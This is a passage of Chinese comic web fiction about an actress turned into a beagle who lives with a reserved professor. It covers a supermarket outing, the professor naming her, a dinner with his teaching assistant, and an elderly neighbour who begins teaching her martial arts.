夏焰蹑手蹑脚地把毯子掀开,从包里叼出手机,回头警惕侦查一番,谨慎操作,用爪子按亮手机,巡视一番有没有紧急的事要处理。
让她意想不到的是竟然收到了母亲聊天框的小红点,她有些心跳加速。
小心用爪子点开聊天框。
只有一条信息,对方拍了拍夏焰的并说:吃点好的。
还有一笔转账。
夏焰把钱领了,看了眼手机电量,决定把手机关机,最后放回包里,一一复原。
她慢慢地爬上大床,身体的不适感这时候才逐渐攀登大脑,她觉得昏昏沉沉使不上劲,煎饼一样瘫在床上,看着林砚之走进屋里。
“今天又要和我睡吗?”
这人到底在说什么?
“好吧,小宝。”林砚之掀开被子上床,侧身躺在平躺着的小狗身边,像是妈妈在照顾刚刚出世的孩子,把她拢在身前,轻轻抚摸孩子的身体,好让她安然入睡。
窗外的雨好大,她不觉得害怕。
好吧,先这样好吗?反正有一个月的时间,让我陪这个可怜人说说话,别让他真的变成哑巴。
做出决定的夏焰感到前所未有的放松,睡意缓缓袭来,她把两片耳朵盖在眼睛上,伸爪子拍拍林砚之手臂。
“把你枕头给我。”
……
第二天是周末,林砚之不用去学校,他转动落枕疼痛的脖子,看向正在坐在鱼缸旁看动画片的夏焰,决定一定要去买个枕头给夏焰,不能再让她这样霸道占用自己的枕头。
夏焰闻到煎鸡蛋的味道,果然看到林砚之端着早餐正准备坐下。
她对他呼噜噜叫着,想让他体会到自己的饥饿。
对方却熟视无睹,假装再找电视遥控器,不看向她。
“遥控器哪去了?”
林砚之翻开沙发上的抱枕什么也没找到,他意识到距离上一次打开电视已经不记得过了多久。
夏焰把怀里的遥控器抱得更紧,缩成一团。
“你平时是怎么看的电视?”她问尼莫。
“叫小易小易。”
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夏焰惊讶:“你说话它能听见吗?”
“当然。”尼莫飞快地吐出一串泡泡,游到水面,仰头准备发声。
“小易小易,新闻频道。”
被林砚之抢先一步。
“啊!他咋这样!”
尼莫和夏焰紧紧盯着林砚之的后脑勺,看他一边听着新闻一边吃着早餐。
“没意思。”
“太没意思了。”
夏焰和尼莫你一言我一语在他的背后嘀嘀咕咕。
“等会儿别和他玩了。”尼莫愤怒地鼓着眼睛。
林砚之吃完早餐把碗放进厨房,一阵水流过后再走出来,新闻频道又变成了动画片,《海底总动员》。
他把夏焰举起来像摇汽水瓶一样上下抖抖,冒出来的不是气泡水,是许久未见的遥控器,干脆利落地掉落在地上。
夏焰被他晃得头晕,还没缓过劲就被套上牵引绳。
!
“士可杀不可辱!”
夏焰低头疯狂扭动着身体,要把牵引绳咬下来。
“好了乖嘛,我们出门玩,就要牵绳。”
“嗷呜呜呜呜呜呜呜呜呜呜。”
夏焰发现自己根本咬不开按钮,被锁得死死的,林砚之看起来也是非牵绳不可。
她又四肢一摊,躺在地上,任他怎么哄,她都一动不动,头一歪就开始哼唧,把一只耳朵甩在脸上盖住奸诈的眼睛。
呼哧呼哧地装作委屈流泪的样子。
一抽一吸循环两次,立刻就听见胸前咔嚓解锁的声音。
林砚之:“这样出门就不可以下地。”
哼哼谁想自己走。
夏焰坐在她的专属座椅上——林砚之的手臂,出发了。
临走前尼莫嚷嚷着要一起去。
“见过完整天空的鱼怎么还能忍受窗外的云。”尼莫一脸正经。
“那你等会给自己播一个《天空之城》看。”
天空湛蓝,没有一朵云,昨夜的暴雨把世界都清洗一遍。
夏焰曾经以为变成小狗以后会看不见世界的色彩,没想到看见的却更加纯粹。
她俯身就看到蚂蚁在搬家,抬头就看到草坪上的野花,用鼻子轻轻蹭蹭还能闻到淡淡的花香。
她在松软的泥土上奔跑,没有什么可以阻止她快乐。她没有顾虑,没有烦恼,小小的身体自然裸露也不觉得羞耻,这是天地自然的给予。
大自然视万物为诌狗,只有人类将行为动作和情绪挂钩,将外貌美丑打上价值印章。
她发现还未踏入社会被同化的孩子们会蹲下来摸摸她的耳朵,偶尔会碰上难缠的小孩,她就龇牙咧嘴把他吓跑。
“不好意思。”林砚之奔跑着终于抓住正在吓唬小男孩的小狗。
他们刚刚出电梯,夏焰就趁他掏手机的一时松懈,一蹬腿跳到地上一路狂奔,两只大耳朵甩得猖狂。
“你再这样,我们就回去套上再走。”林砚之用手指点着小狗湿漉漉的鼻头,警告她。
夏焰坐得笔直,心虚地用两只爪子擦擦耳朵,冷不丁瞟他一眼,看他的表情。
看他把脸绷紧,又有一种陌生的气息。
她乖乖地转头扑进男人怀里,用爪子拍拍他的手臂。
林砚之伸手环住怀里的小狗,准备继续迈步前进。
汽车开过小桥。
夏焰又看到躺在草坪上呼呼大睡的流浪汉。
8. 让她沉睡的不是菠萝 是过敏
超市里面的冷气开的足,夏焰在林砚之怀里也不觉得热了,安安静静待在男人手臂上。
他们走过生鲜区,夏焰伸手就要去抓玻璃缸里的螃蟹。
被林砚之一把制止,抓回她罪恶的两只白色爪子。
“手真是讨嫌。”他象征性地打两下两只爪子,“被螃蟹钳夹了怎么办?”
夏焰下一秒就使出看家本领,嗷嗷假哭,百试百灵。
林砚之不得不捏住小狗的嘴筒子,低头回避旁人投来的注视,走向超市的另一端。
夏焰暗暗自喜,她已经发现了林砚之大教授的最大弱点,那就是非常在意自己的形象。
而她,她现在是一只可以不穿衣服的小狗,可以不在意别人的目光尽情为非作歹。
她一想到这些就高兴,竟然不由自主的哼起歌来了。
林砚之一边偷看着她摇头晃脑,一边小心掏出手机录视频。
夏焰呜呜汪汪的哼着,不成曲调,闭着眼太过忘我,直到被林砚之放进超市小推车里。
终于脱离了林砚之的怀抱,她正想下地活动活动,面包的香气阵阵袭来。
她去拉林砚之的短袖。
对方无奈道:“我知道的,我们这不是在排队吗?”
林砚之推着推车,跟着人群走进甜品区。
这里是小孩子的乐园,暖黄的灯光让人胃口大开,照在一个个松软金黄的蛋挞上令人充满食欲。
一个胖胖的小男孩正在和妈妈讨价还价,渴望多要一个巧克力蛋糕,被妈妈无情拒绝后嘟着嘴,挤着眼,看不出是在耍赖还是撒娇。
夏焰想起小时候妈妈经常会给她买“毛毛虫”面包,就是那种长条的软软的面包,里面夹着菠萝果酱。
妈妈开车接她回家,她靠着书包一口一口吃着面包,看着长长的车流一点点流淌,车载香氛的味道令她昏昏欲睡,一直睡到吃完饭的时间才被妈妈再次喊醒。
后来才知道是对菠萝过敏。
夏焰盯着凤梨酥觉得嘴里发酸,林砚之观察着她的反应在考虑要不要拿一盒放进推车。
夏焰咂咂嘴,躺在小推车里鲤鱼打挺,催促他快点往前走。
走到卖甜甜圈的地方,她挥挥手,像领导一样,指挥林砚之拿上两盒。
“不可以吃很多甜食。”林砚之斟酌着,最后放下那盒甜甜圈,在柜台旁拿了一盒手指饼干。
“啊,你真没意思。”
夏焰扭过头不想理会他。
林砚之专注看着饼干盒上的成分表,对照着手机上肖旸旸发来的喂食指南一一对照,没发现亲爱的小狗正在推车里蛄蛹着后退。
一点一点推着玻璃柜,靠着反作用力打着“退堂鼓”,像划船摇桨一样,只不过是后退,又悄悄挪回甜甜圈那里,伸着手去够摆在最顶上的一盒。
一只狗爪显然没有什么抓握能力,悲剧就这样诞生了。
两个甜甜圈从盒子里跳出,又分别降落在不同的地方,夏焰觉得这个过程好长好长,像慢镜头,它们从空中划出一道完美的弧线然后一个落到夏焰的怀里,一个落到小朋友的脑袋上。
“啊!”
一声稚嫩的尖叫从旁边传来,小女孩被甜甜圈袭击,这是一辈子难忘的事,不仅对于女孩来说,还有被吓呆在原地的罪魁祸首夏焰。
“哪里来的狗!”
女孩的母亲安抚着女儿,从衣服兜里摸出纸巾不停擦拭女孩的额头和衣服。
“妈妈,是小狗狗。”
女孩坐在推车的座椅上兴奋地拍手,想要站起来去摸摸面前的小狗。
“谁家的狗!”
林砚之也愣在原地,不知道发生了什么,直到发现一个罪恶的狗头正在装作无辜地看向他,才意识到她又闯祸了。
他快步跑到跟前连忙给母女俩道歉。
小女孩除了刚开始被吓到,并没有受到其他伤害,此刻还在拍拍手想要抱抱小狗狗。
林砚之提出帮母女俩买单,又多拿了两块蛋糕赔不是,一连串动作行云流水,让女人怒气全消。
小女孩轻轻地摸着小狗的大耳朵,小心翼翼地怕摸痛她。
“你好乖噢小狗狗。”
夏焰乖顺地被她摸着,一动不敢动,斜眼看向林砚之,却发现对方也向她投来目光,他的脸绷得紧紧,抿着嘴巴,露出那颗痣,在暖黄光下看不真切。
怒气转移到林砚之头上来了,夏焰仿佛能看到他头顶蹦出的蒸汽,吓得她一哆嗦。
“小狗狗你叫什么名字?我叫熙熙,你叫什么名字。”
名字?我的名字?
“叔叔,你给她取什么名字?”
林砚之一言不发。
气氛比刚才还要严肃。
夏焰不明所以,不知道为什么这个问题会让林砚之感到悲伤。
对,是悲伤,不是愤怒,无奈,也不是无趣,不是认为名字并不重要所以认为任何称呼都可以成为名字。
“我的名字是妈妈给我取的,要爱你的人才能给你取名字。”
“叔叔你没有给小狗狗取名字吗?我很喜欢她,我能给她取名字吗?”
“你就叫——”
“来财。”
小胖子挤到过道中间,舔着棒棒糖对着夏焰做鬼脸。
夏焰翻着白眼把眼睛闭上,听到身边人的叹气。
“燕燕。”
她睁开眼睛。
“她叫燕燕。”
她抬头看向他。
夏焰感觉林砚之一下子卸力,手撑在推车的扶手上,浑身放松下来。
名字。
夏焰细细咀嚼着。
可以方便每个人在见到对方的第一时间的第一句话不是“吃了吗?”让旁人知道噢这是两个相熟的人。
也作为一个代号满足一类人形式权利的途径,不过一般会被改成小刘,小杨,以及小王。
要是说名字还带有什么感情,尊敬,恳求还有爱慕,那就被改成肖医生,林教授,夏小姐等等等等,名字一旦脱口,后面必然紧接着“我想……”那借用对方的名字展开的表白信究竟是属于对方还是自己?
要是想听最开始的名字,最纯粹的发音,就要倒回离开母体的那一刻,或许更早一点,在父母热恋时,名字就被想好如何诞生了。
夏焰出生的第一个名字叫夏燕,燕子的燕,她是春天出生的燕子,妈妈要她自由自在地飞,飞到遥不可及的地方。
一场重病却把这个美好的祝愿打破了,算命先生说她命格太弱,得有火烧一把,母亲给她改名叫夏焰。
最初的期望不会改变。
但是夏焰是不肯离家的鸟,不肯南飞的燕。
夏焰突然又想到林砚之的名字,她猜他的爸爸妈妈一定希望他做一个书生,砚之,砚之,就是不停地写字。
他的确如此。
不负众望的林砚之正推着推车走出甜品区,在下一层的宠物区挑了一个结实的胸背扣在夏焰身上。
我简直感到无法呼吸。
“你不带上我就没法呼吸。”
夏焰仰头看正在给她调整胸背的男人,以为自己把心里话说出来了,对方居然知道她在想什么,可以转念一想就算说出来,林砚之也听不懂汪汪汪的意思。
她又试着在心里默念林砚之地名字。
林砚之。
男人停下手里的动作望着她,呼吸附在胸前,弄得她发痒。
几秒时间,林砚之又恢复动作,利落地把小狗爪子掏出,把胸背戴正,揉揉狗脑袋。
夏焰烦躁倒下,背面胸背上的装饰硌得慌,她伸手向后去拽,同时扭头望去,才发现是一个巨大的毛绒蝴蝶结。
她一边吐槽
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林砚之的审美老土一边侧着身子倒下,躺姿实在是潇洒。
林砚之扯正粉色蝴蝶结,让她小心点别压坏了。
“知道了知道了。”
夏焰不耐烦地把腿搭在推车边上,整个身体正对着林砚之,抬头就能看见林砚之绷紧的下巴和疲惫发红的眼睛。
走到温馨的床上用品区,夏焰闻到空气里充满的颗粒味道,闻起来不像看起来那样柔软,甚至还带着微微刺鼻的加工厂味道被夹带在一层层棉花里。
林砚之把推车停靠在身边,不时回头检查狗和车都在不在。
夏焰看他和推销员一边说一边比划着,最后指指车上的小狗示意是要给她买东西。
推销员看着夏焰笑,告诉林砚之可以去母婴区看看。
他们就像探索游戏地图一样和npc对话完接着又到了母婴区。
林砚之把脸轻靠在小小的枕头上,笑着看她,说要给她买个舒服的枕头,这样就不会再做噩梦。
他认真挑选枕头的表情太过柔和,偶尔紧皱的眉毛此刻完全苏展开来,穿着卡其色休闲裤笔挺地站在售货架前,周正温柔,引发路人无尽遐想。
一位体贴丈夫,新晋奶爸,正在为他的孩子挑选舒适的枕头。
夏焰看到他这幅模样,思绪不由自主飘远,想到自己出生的时候是怎样一副情景,她没有父亲,也不需要有,妈妈和姥姥已经给了她所有。
不知道她出生的时候妈妈是不是也像个新手妈妈,手忙脚乱,像林砚之现在一样紧张。
等一下。
夏焰意识到自己的想法突然觉得毛骨悚然,疯狂甩动脑袋想把奇怪的联想赶出去,大耳朵甩得啪啪。
林砚之正犹豫着二选一的关键时候,一对夫妻竟然和他主动搭讪,问他想不想要和他们一起拼一辆玩具车,第二件半价。
林砚之略显惊讶想要摆手拒绝,还没等他抬手,就接收到了夏焰的大眼电波攻击。
给我买!
“这个,狗能开吗?”他指指夏焰,“狗。”
于是夏焰收获了一辆六个圈的奥迪双钻。
“芜湖——”
她一脚油门就出发了,耳朵飞到脑后,两只爪子掌握着方向盘,甩得飞快,在小区里横冲直撞,幸好正是午饭时间,没有人在小区里散步。
林砚之在后面狂掏遥控器,叫夏焰停下来。
夏焰的耳朵里只能听见风声,看林砚之着急的样子笑个不停。
“怕啥嘛我是有驾照的。”说完就迎面撞到大树桩上。
“哎呦!吓我一跳!你是谁家的小宝?”
夏焰被震得发蒙,看到旁边的老太太拄着拐杖靠近她,从胸前口袋里掏出老花镜颤颤巍巍带上。
“原来是只小狗!”老太太讲话中气十足,但是每个字的重心都落在意想不到的地方。
林砚之提着胸背把闯祸的小狗拎起来放到地上。
和老太太打招呼,叫她陈奶奶。
奶奶正在和她脚边趴着的腊肠狗一起晒着太阳,今天的天气不是那么炎热老人家吃完饭就想出来溜溜弯。
腊肠狗本来一副懒洋洋的样子,听到动静突然站起来,跑到夏焰身边左闻闻,右嗅嗅,眼睛一亮。
“我们俩长得好像!”说着追着夏焰屁股后面跑。
“哪里像了?”
她们绕着林砚之跑圈,秦王绕柱。
林砚之一只手用力抓过夏焰,另一只手扣住玩具车座椅,把车也提起来。
居然毫发无损,树和车都是。
他把电动玩具车放进轿车后备箱,从里面拎出两大个购物袋,把夏焰夹在腋下,和奶奶打招呼离开。
“这样真的很不舒服。”
夏焰挣扎着。
林砚之恍若未闻,在进门的一刻拨通了电话:“小狗什么时候可以绝育?”
9. 刻不容缓!
“还太小了用不着。”
“我是说公狗。”
电话被挂断了。
林砚之木着脸看着正在翻购物袋的小狗,明显的记吃不记打,一点都不长记性。
夏焰从购物袋里拖出饼干面包还有一些蔬菜水果,一样一样摆在地上,骄傲地仰着头摇着尾巴,故意让林砚之夸她。
林砚之忍不住笑着叹气摸摸她的脑袋:“我这辈子加起来道的歉都没今天多。”
虽然是笑着的,夏焰却听出有几分咬牙切齿在里面,不过大人不记小人过,决定不计较他的小脾气。
看他把东西搬进厨房,她又钻进另一个袋子里,慢慢叼出属于她的枕头,踩踩里面的棉花,坐在上面,又从袋子里面抽出一条围巾。
大热天的买什么围巾。
把围巾展开,上面一堆堆蝴蝶结刺痛着夏焰的眼睛。
我的眼睛好痛!
丝滑地被她滑进沙发底,像学猫王跳舞一样,站在围巾上,一点点塞进去。
林砚之在厨房开火炒菜,夏焰闻着味猜测今天中午吃小炒肉喝三鲜汤。
擦擦口水,掏空袋子,翻出一张购物小票。
她暗暗记住林砚之给她买的东西,准备变回去了回家的时候一定要还给他,双倍!
知恩图报的夏焰在吃饭时候为了抢夺饭勺从桌子上摔下来,她一个劈叉稳稳落地,把林砚之的碗摔得粉碎。
林砚之捏着鼻梁深呼吸告诉自己,狗没事就好。
狗没事还很会享受,躺在林砚之的书房里,瘫在躺椅上吹空调,在阳光底下晒肚皮。
林砚之坐在书桌前写教案,时不时看她两眼。
她就这样迷迷糊糊睡过去,一个梦也没做,舒舒服服地睡到天黑。
等她睁眼醒来,看见林砚之的书桌前坐着另一个男人,年轻的大学生模样,呆头呆脑,正在用电脑敲敲打打。
对方接收到她的视线,问她:“吵醒你了吗?”
夏焰摇摇头。
男人惊讶:“你能听懂我说话?”
夏焰思考一下又摇摇头。
男人根本不在意她的动作,兴奋地跑出书房大叫:“林老师你的狗也这么聪明!”
林砚之面无表情地走进书房,手里还举着还没挂断的电话,看见她睡眼惺忪的样子嘴角带笑。
“走吧该吃晚饭了。”
他伸手到她跟前,夏焰俯身抓稳他的手臂,然后被带到胸前抱好。
林砚之把她抱出书房,她才看见上午遇见的奶奶也在,奶奶用手指挠挠小狗下巴。
“小宝,奶奶来给你送见面礼噢。”她打开装饼干的铁盒子,从里面拿出一块曲奇,放在自己的掌心,凑到夏焰嘴边
夏焰小心地张嘴,害怕牙齿碰到奶奶的手,她的鼻子蹭着奶奶的手掌,感觉到手掌上干裂的老茧带来的轻微刺痛。
她把饼干叼回怀里,浅浅的舔,淡淡的奶香味。
奶奶一言不发静静地看着她微笑,用力捏捏她的手:“慢慢吃,一整盒都是你的。”
夏焰觉得奇怪,也使劲压住她的手掌。
奶奶把手收回,背在身后,对着她慈爱地笑。
林砚之叫奶奶留下来吃饭,奶奶说她早早吃过了,就她一个人吃饭吃的也早,她就住在隔壁,今天熬了老鸭汤给林砚之。
“我现在要去遛遛瓜皮。”
被主人叫到名字的瓜皮正在挠林砚之的裤腿,想要和他怀里的夏焰打招呼。
林砚之抬腿躲开,给奶奶开门。
走之前他和奶奶说可以给瓜皮提供免费的绝育项目。
“绝育?哈哈哈哈它十年前就没有蛋蛋了。”爽朗的笑声在楼道口传出回音。
她却在这时转身,轻轻拍了三下夏焰的脑袋,紧接着又三下,说:“明天见喽,小宝。”
夏焰愣住,看她走进电梯,看电梯门关上,皱着眉摸着刚刚被打的地方思索。
这是叫我明天六点去找她的意思吗?要传授我失传已久的武林秘籍?老太太深藏不露啊,难道是隐居闹市的武林高手?
表情太过狰狞,林砚之把她的爪子从后脑勺上扯下来,告诉她:“奶奶是让你安生点。”
她投去厌烦的眼神。
他又接上刚才被迫终止的话题:“等你再大点送你去绝育。”
绝育?
这个想法还是太疯狂了了,夏焰认为自己不能被莫名其妙拉上手术台,还是以狗的形态去做手术。
坐在林砚之的臂膀里用爪子扇他的脸。
“你打我干嘛?”
夏焰一本正经地看着他的眼睛:“你怎么不自己去手术台上躺一下。”
他们就这样对视,越靠越近,头贴着头,脸贴着脸,最后瞪成斗鸡眼。
“吃饭喽。”
在厨房帮忙热菜的男生叫他们赶快来吃饭。
林砚之下午订了一张儿童桌椅,请人送来安装。
夏焰坐在上面就不能伸手去划拉桌上的碗筷。
她撑着头看向这个男生,他是林砚之的助教,叫丁丁,就是丁丁历险记里的丁丁,长得也想丁丁历险记里的丁丁,淡色头发,有个前刺刘海,鼻子高高。
平时里要帮助林砚之整理资料和教学工作,而且看起来已经接受过残忍工作的洗礼,灰头土脸地坐在座位上盯着夏焰面前的烤鸭一言不发,等林砚之坐下让他动筷子他才夹起一只鸭腿,有半秒的忧郁不决,飞快扫了眼端着碗正在盛饭的林砚之,把鸡腿投入夏焰的饭盘里。
夏焰看他咧嘴嘿嘿一笑:“小狗多吃点。”
林砚之看了眼他语气冷冷地说:“她不能吃这么油的东西。”
蒋文君的筷子停在半空中,不知道该拿那只鸭腿怎么办,一幅呆傻的样子,开始走马灯回忆前半生,不知道拍马屁为什么总是会拍到牛腿上。
林砚之把还在滋滋流油的烤鸭腿夹回他的碗里,让他自己吃自己的,吃完了好干活。
夏焰啃着为她量身定制的营养晚餐,看蒋文君一边苦笑一边啃着鸭腿,和旁边细嚼慢咽的林砚之形成强烈对比。
夏焰总是疑心林砚之进食只是为了生存,尽管手艺还不错偶尔也会做一两顿丰盛精致的菜品,一旦到了进食的过程,无论什么菜都吃出白粥配咸菜的既视感,你看他筷子间间隔极窄,挨着菜一点就能带回碗里,再把筷子并拢,连带着饭往嘴里赶,像是有固定程序步骤一样滴水不漏。
她可管不着林砚之吃得多斯文,她现在是一只需要进食补充体力的比格犬,只有食物进入身体才能让她有力气跑,有力气跳,她不需要保持所谓的完美身材,做演员的时候要她瘦又不能柴,要她丰满又不能“满”在脸上腰上。从小习武锻炼出的形体,已经被无数次用火锻炼捶打,要按照导演的喜好变成统一模样。
这些导演还总喜欢借用
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观众说话,观众就是上帝,演员太胖,观众不喜欢,太瘦,影响观众观感,比划着他们心里最完美的缪斯形态。结果拍出来一滩狗屎,被骂糊弄观众,他们开始贬低观众水平太低,不懂艺术。
呸!
夏焰吐出一颗葱花,忿忿地撕咬着盘里的水煮鸡胸肉。
一顿饭吃下来三人各怀心事,神情各异,尤其是苦了丁丁,和林教授一起吃饭,对方好像开了屏蔽器只顾碗里的饭菜,还有时不时把快掉出食盘的鸡胸肉挪回小狗的盘子正中央。
他几次说起学校里好笑的事,自己笑得想喷饭,林砚之还是一言不发,只是用纸巾给旁边的小狗耐心擦嘴。他突然有一种自己的严厉父亲生了二胎的既视感,没由来的失落。
正当他放下碗筷,刚想说他吃好了,林砚之也放下筷子,开口问他:“你工作还适应吗?”
“啊?还好!”他有些激动突然再次打开闸口滔滔不绝起来:“而且我实习期马上就过了,等发了第一个月工资我想请林老师吃饭!我知道有家新开的店......”
林砚之面无表情默默点头,他把儿童夏焰从椅子里抱出来,夏焰学他刚才的样子也冲着丁丁不停点头,林砚之透露出骄傲的神情。
他让丁丁吃完饭就回家去,工作明天再来做。
丁丁只好提着电脑和教授拜拜,又呼噜呼噜教授的小狗脑袋。
“林老师,你的狗真像你!”
林砚之眉毛抽搐,抱着狗让他赶紧回家。
随着门砰地一声被关上,夏焰从他的怀里跳到沙发上,打着哈欠看着林砚之收拾餐桌。
他终于不用装了。
夏焰心里清楚,林砚之到底在做什么。他不是演员,也没法成为一个合格的演员,演不出违心的笑,更没法把刻薄演得入木三分,整个人显得混沌难分。
她不以人的形象视角和他交流,反而能感受到他情绪上细微的变化。
那么他为什么总是要拒人于千里之外呢?
男人收拾好厨房又在喊她,叫她准备洗澡,今晚可以用新枕头。
吹风机风大的要把她的皮都吹展开,下盘用力站稳才没被吹跑。
“你这啥破吹风机,吹两年头发都没了吧。”
林砚之把蓬松的小狗丢到床上。
夏焰翻滚一圈把自己的新枕头叼到睡觉的位置,锤打一番让它变得更加柔软,躺在上面看着头顶的卡通飞机灯,想象自己坐在里面飞到外面的世界,和外星人一起跳舞。
短短一会儿时间她就睡着了,梦里还在笑。
林砚之洗完澡上床,调高空调温度,夏焰听见空调滴滴声朦胧睁眼,闻到身边人散发淡淡的沐浴露香。
“睡吧。”他轻声说。
他给夏焰盖上夏凉被,缓缓拍哄她。
“燕燕。”他用气音叫着怀里的小狗,看她的反应。
“嗯。”夏焰没睁眼,等着他接下来的话。
“你喜欢这个名字吗?”
“嗯。”
“我不应该给你起名字。”他摸着小狗耳朵,“不过你喜欢就好。”
“有了名字就会让人不舍得。”
夏焰在被睡意袭击前最后听到的一句话,像林砚之一样,她把爪子也放在他的耳朵上,暖乎乎地盖住。
他们的呼吸交错着,夜幕把他们引向另一个剧场。
清晨六点,夏焰悄悄打开大门。
10. 这章真的很好笑
夏焰悄悄离开卧室,尼莫还在珊瑚礁上酣睡,她蹑手蹑脚打开电子锁。
“解锁。”电子锁开门的电子音在寂静的房子里犹如恐怖电影里突脸的镜头,吓得夏焰毛都炸开。
她噌噌跑回卧室,冲进还带有她余温的被子里,惊魂未定。
林砚之呼吸均匀,胸口一起一伏,夏焰瞪着眼凑近感受他的温度。
她打起退堂鼓,说服自己是自己想多了,人家根本没有这个意思。
不怕一万就怕万一,要是真有这个意思怎么办?那她不是和武林秘籍擦肩而过了?
她猛地坐起来。
蹑手蹑脚翻身下床,倒退着走出卧室。
尼莫换了个姿势头朝下酣睡,吐出一两个泡泡,还说着梦话。
夏焰听不清它在嘀咕什么,她正聚精会神地拧动门把手,听到清晰的一声咔嚓,门开了。
盛夏的夜晚太过短暂,早早地就换班白昼。
六点的天空已经朦胧亮起,有老爷子在底下练嗓,一声高过一声。
这是个教职工小区,紧靠着大学城,不少退休教职工都在这里养老,所以老人孩子居多,不过偶尔也有房子出租给附近写字楼工作的白领。
夏焰接着楼道里消防栓玻璃柜门的反光,舔舔爪子整理自己耳朵上睡翘的毛发,她看着自己在里面的倒影,一只颜色淡淡的,只用力淡棕色和白色涂抹的纯种比格,她侧身露出耳朵上的爱心,给自己加油打气。
然后用爪子拍拍隔壁邻居奶奶家的大门。
一下。
两下。
第五下。
当她犹豫着要不要拍第六下的时候,一个人影出现在她身后。
“我果然没猜错。”奶奶出现在夏焰身后,弯腰捏住她的后脖颈将她提起。
夏焰挣扎着,扭身要从她胯下逃走,被她拧着爪子反向一扭,固定在她怀里,阴恻恻地拉扯两下夏焰的后腿,颇有几分满意的笑。
“既然来了可就不是那么好走的了。”
夏焰睁大眼睛,内心大叫救命!
老太太把门打开,进屋把夏焰向前一送丢在地上。
夏焰顺势一个翻滚,在木地板上滑出几步和她拉开距离。
“你要干什么!”
夏焰龇牙咧嘴对她怒目而视。
惨了,就这样误入敌人圈套,林砚之醒来再发现我的时候我已经被老太太拿去做狗体实验了!惨了!
她选择主动出击,再次向门口跑去,几次突袭都被老太太轻而易举地推回来,云淡风轻,不动如山。
夏焰没吃早饭,累的直喘,把舌头吐出来透气。
头发花白的老太太把小狗收拾得服服帖帖,自己一点也不累,跟跳广场舞似的,一点挑战都没有。
夏焰看她背手而立,下盘极稳,刚才出手那几步看得出是多年的练家子,说不定练得还是童子功。
夏焰用爪子擦擦额头上不纯在的汗,心想这副身体果然还是太弱了吗?要是以她人的体型,说不定谁占上风。
正思索着,又一个身影出现在身后,这次出现的身影要小得多。
难道说还有帮手。
夏焰惊恐着慢慢回头。
“该吃早饭啦!”腊肠狗瓜皮系着围裙把盘子推到夏焰跟前,里面装着一个夹着水果和鸡蛋的三明治。
狗做的饭能吃吗?
夏焰迟疑地把手搭在盘子边上,和掌管食欲的神哲学探索一番,还没得出结论就被老太太拽在怀里坐在沙发上。老太太高兴地拿过三明治,摸摸瓜皮头,夸它是好孩子,然后捏着三明治松进嘴里。
搞了半天不是给我吃的。
夏焰无语地看着腊肠狗不停摇着身后的尾巴,一幅得意姿态。
“我啥时候能回家老兄?”夏焰问瓜皮兄。
瓜皮兄看他一眼,然后对老太太汪汪几句,也不知道老太太能不能听懂。
“好吧,你去看看电视,我和这位小朋友聊聊。”老太太拉着夏焰的爪子和它摇手再见。
瓜皮兄点点头拖出一个毛线织的垫子,手一揣像老太太一样散发出慈祥味道,眯着眼看着电视机。
老太太终于吃完最后一口,擦擦嘴,把夏焰丢在地上,站起身来。
“平时都是它做早餐,这是它的兴趣爱好。不过中午饭和晚饭还是我来做。”她乐盈盈地笑,话锋一转,“怎么样,要不要跟我学?拜我为师?”
学什么?学做饭吗?
她看出夏焰的不屑,突然绷紧身体摆好姿态,一个劈掌又一个横拳,还没碰到狗的身体,掌风强劲,打得小狗飞起来。
俺的娘嘞!俺的姥!给我打飞起来了!救命嗷嗷嗷嗷嗷!救命!
老太太看着夏焰耳朵乱飞嗷嗷乱叫的样子哈哈大笑。
“小朋友你受伤了吗?”
夏焰惊魂未定,上上下下摸摸自己的身体还有脑袋,还追着屁股后面的尾巴看,像天线一样高高直立,摇得正欢。
很好,都健在。
难不成是内伤?
夏焰突然觉得肚子有点痛,捂着肚子,感觉下一秒就要吐出血来。
“看看你的身后。”
夏焰转身又检查了一遍她的尾巴。
“再后面一点!”
?
夏焰转过身子,闻到甜甜的味道,发现矮脚茶几上放着一个西瓜,她走过去用爪子轻轻一碰,就裂成几半,汁水横流。
她惊讶地长大嘴巴,隔狗打瓜!
这要放在以前,肯定是武林盟主级别才使得出的招数,悄无声息,杀人无形。
奶奶您到底什么来头?
“学不学?”奶奶还是笑着,皱纹堆在她的眼角。
“不学是狗!”夏焰谄媚地抱着奶奶裤脚,垫着脚夹着声音一句句叫着师傅。
师傅笑得更开心了。
“我们今天就开始吧!师傅!先学哪招?”她舔着爪子上的西瓜汁。
师傅听不懂她的话,但是能看得懂她急切的动作。
“不急,先给小林打个电话告诉他你在我这,你出来的时候他不知道吧?”
夏焰抬眼看向墙上的老式挂钟,时针已经指到七。
她看着师傅走向电视机旁边的固定座机,按下几个按键,等待一会儿电话才接通。
“喂?”林砚之的声音里还带着未睡醒的沙哑。
夏焰想今天是周末,不应该吵他休息,却不由自主地向他的声音靠近,分明只是一墙之隔,却好像处在天涯海角。
“小狗在我这。”声音里掩不住的喜悦。
“……”
电话那头突然失去了动静,只听见脚步声快速变远,好像听见两声她的名字,又快速跑回。
“奶奶让她接电话。”
“汪。”
“……你吃饭没有?什么时候出去的?又乱跑!”他压着声音不敢对她说重话,尽管她现在只是一只小狗。
“汪汪汪。”
“好吧,那你在奶奶那玩,我等会来接你,你注意点别让奶奶累到。”
奶奶又和他说了两句,保证不会带她出门,还保证不让瓜皮追着她跑,都一一应下,才挂断电话。
“他真是爱你呦。”
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奶奶摸摸夏焰脑袋。
夏焰翘着脚不好意思地挠挠耳朵。
“那我们开始?”
夏焰立正站好准备听师傅下一步指令。
“你学过什么?我看得出来你不是普通的小狗。”
夏焰惊讶于她的眼睛,认真地摆好起势动作,站直身体,歪歪扭扭给师傅打了两招咏春拳。
师傅还算满意,点点头。
“瓜皮!”师傅叫来瓜皮兄。
瓜皮兄心领神会,叼来一个束口袋,在地上拖着,看起来还挺有分量。
拖到夏焰跟前,准备帮她打开。
用它超短的爪子努力的解着口袋的绳子,夏焰怀疑它都没法低头看见自己的手。
“哈哈瓜皮兄,就不劳烦你了,还是我来吧。”夏焰实在是忍不住不笑出声音来。
她用爪子勾出绳结的空隙,一点点解开,她把头探进袋子里。
发现了一副双截棍。
她把双截棍拿出来,虽小但是很小质量,是实木的,而且很适合她的体型大小。
夏焰把双截棍夹在腋下,像电影里李小龙一样甩着双截棍另一只爪子蹭着鼻子,大叫:“我打!”
实木棍子打在她的耳朵上,痛得她把棍子甩丢出去,差点打到瓜皮兄。
瓜皮兄默默后退,退出这个没有硝烟的战场,回到温馨的织毛衣教学节目。
她趴在师傅腿边,要师傅看她的耳朵是不是被打掉了。
委屈地呼哧呼哧喘着。
